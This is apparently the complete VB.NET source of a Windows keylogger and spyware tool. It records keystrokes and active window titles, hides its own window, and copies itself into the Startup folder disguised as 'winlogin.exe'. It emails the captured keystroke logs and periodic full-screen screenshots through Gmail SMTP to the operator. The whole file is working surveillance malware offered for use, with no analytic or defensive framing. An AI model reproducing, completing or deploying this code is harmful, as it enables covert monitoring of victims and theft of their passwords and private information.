Imports System.IO
Imports System.Net.Mail
Public Class Form1
    Dim caps As Boolean
    Dim shift As Boolean
    Dim result As Integer


    Private Declare Function GetKeyState Lib "USER32" (ByVal vKey As Long) As Integer
    Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Dim options(), text1, text2, text3 As String
    Dim activewindow As String

    Private Sub killer()
        Try

        Catch


            Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set0.jpeg")
            Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set1.jpeg")
            Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set2.jpeg")
            Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set3.jpeg")
            Kill("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set4.jpeg")
        End Try
    End Sub
   

    Dim vDirectory As String
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        killer()
        ant.mofo()

        If Directory.Exists("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then Directory.CreateDirectory("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\")
        If System.IO.File.Exists("C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe") = False Then FileCopy(System.Windows.Forms.Application.ExecutablePath, "C:\users\" & System.Environment.UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogin.exe")

        Timer2.Interval = (1 * 60 * 1000)

        Timer3.Interval = (1 * 60 * 1000 + 500)
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()
        Timer4.Start()
        Timer5.Start()

    End Sub
    Private Function GetActiveWindowTitle() As String
        Dim MyStr As String
        MyStr = New String(Chr(0), 100)
        GetWindowText(GetForegroundWindow, MyStr, 100)
        MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
        Return MyStr
    End Function
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        shift = GetAsyncKeyState(16)
        caps = GetKeyState(20)
        Dim i As Integer
        For i = 65 To 90
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                If caps = True Then
                    If shift = True Then
                        TextBox1.Text = TextBox1.Text + LCase(Chr(i))
                    Else
                        TextBox1.Text = TextBox1.Text + Chr(i)
                    End If
                Else
                    If shift = False Then
                        TextBox1.Text = TextBox1.Text + LCase(Chr(i))
                    Else
                        TextBox1.Text = TextBox1.Text + Chr(i)
                    End If
                End If
                result = 0
            End If
        Next i
        If GetAsyncKeyState(32) = -32767 Then
            TextBox1.Text = TextBox1.Text + " "
        End If
        If GetAsyncKeyState(8) = -32767 Then
            TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
        End If
        If GetAsyncKeyState(9) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[TAB]"
        End If
        If GetAsyncKeyState(13) = -32767 Then
            TextBox1.Text = TextBox1.Text + vbNewLine
            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
            End If





        End If
        If GetAsyncKeyState(17) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[CTRL]"
        End If
        If GetAsyncKeyState(27) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[ESC]"
            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + activewindow + vbNewLine + vbNewLine + vbNewLine + vbNewLine
            End If
        End If
        If GetAsyncKeyState(35) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[END KEY]"
        End If
        If GetAsyncKeyState(36) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[HOME]"
            activewindow = GetActiveWindowTitle()
            TextBox1.Text = TextBox1.Text + "[HomePage:" + activewindow + "]"
        End If
        If GetAsyncKeyState(46) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[DEL]"
        End If
        If GetAsyncKeyState(37) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[LeftButton]"
        End If
        If GetAsyncKeyState(38) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[UpButton]"
        End If
        If GetAsyncKeyState(39) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[RightButton]"
        End If
        If GetAsyncKeyState(40) = -32767 Then
            TextBox1.Text = TextBox1.Text + "[DownButton]"
        End If
        If GetAsyncKeyState(1) = -32767 Then

            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + vbNewLine + vbNewLine + "[" & activewindow & "]" + vbNewLine + vbNewLine
            End If
        End If
        If GetAsyncKeyState(2) = -32767 Then

            If activewindow <> GetActiveWindowTitle() Then
                activewindow = GetActiveWindowTitle()
                TextBox1.Text = TextBox1.Text + vbNewLine + "[" & activewindow & "]" + vbNewLine + vbNewLine
            End If
        End If
    End Sub
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try

        
            Dim MyMailMessage As New MailMessage
            MyMailMessage.From = New MailAddress("mail")
            MyMailMessage.To.Add("mail")
            MyMailMessage.Subject = ("Death logz")
            MyMailMessage.Body = (TextBox1.Text)
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
            SMTPServer.Port = 587
            SMTPServer.Credentials = New System.Net.NetworkCredential("mail", "pass")
            SMTPServer.EnableSsl = True

            SMTPServer.Send(MyMailMessage)

            Dim bounds As Rectangle
            Dim screenshot As System.Drawing.Bitmap
            Dim graph As Graphics
            bounds = Screen.PrimaryScreen.Bounds
            screenshot = New System.Drawing.Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb)
            graph = Graphics.FromImage(screenshot)
            graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy)
            PictureBox1.Image = screenshot

            PictureBox1.Image.Save("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set" + Label4.Text + ".jpeg")
            Label4.Text = Label4.Text + 1
        Catch ex As Exception

        End Try
        If Label4.Text > 5 Then
            Try
                Dim mail As New MailMessage()
                Dim mailatt1 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set0.jpeg")

                Dim mailatt2 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set1.jpeg")
                Dim mailatt3 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set2.jpeg")
                Dim mailatt4 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set3.jpeg")
                Dim mailatt5 As New Attachment("C:\Users\" & System.Environment.UserName & "\AppData\Roaming\set4.jpeg")
                Dim SmtpServer1 As New SmtpClient
                SmtpServer1.Credentials = New Net.NetworkCredential("mail", "pass")
                SmtpServer1.Port = 587
                SmtpServer1.Host = "smtp.gmail.com"
                SmtpServer1.EnableSsl = True
                SmtpServer1.EnableSsl = True
                mail.To.Add("mail")
                mail.From = New MailAddress("mail")
                mail.Subject = (My.Computer.Name + " SCREEN SHOTS")

                mail.Attachments.Add(mailatt1)
                mail.Attachments.Add(mailatt2)
                mail.Attachments.Add(mailatt3)
                mail.Attachments.Add(mailatt4)
                mail.Attachments.Add(mailatt5)

                SmtpServer1.Send(mail)

                Label4.Text = 1

            Catch ex As Exception

            End Try
 End If






    End Sub
    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        TextBox1.Clear()
    End Sub

    Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
        Me.Hide()
        Me.Opacity = 0
        Me.Visible = False
    End Sub


    
End Class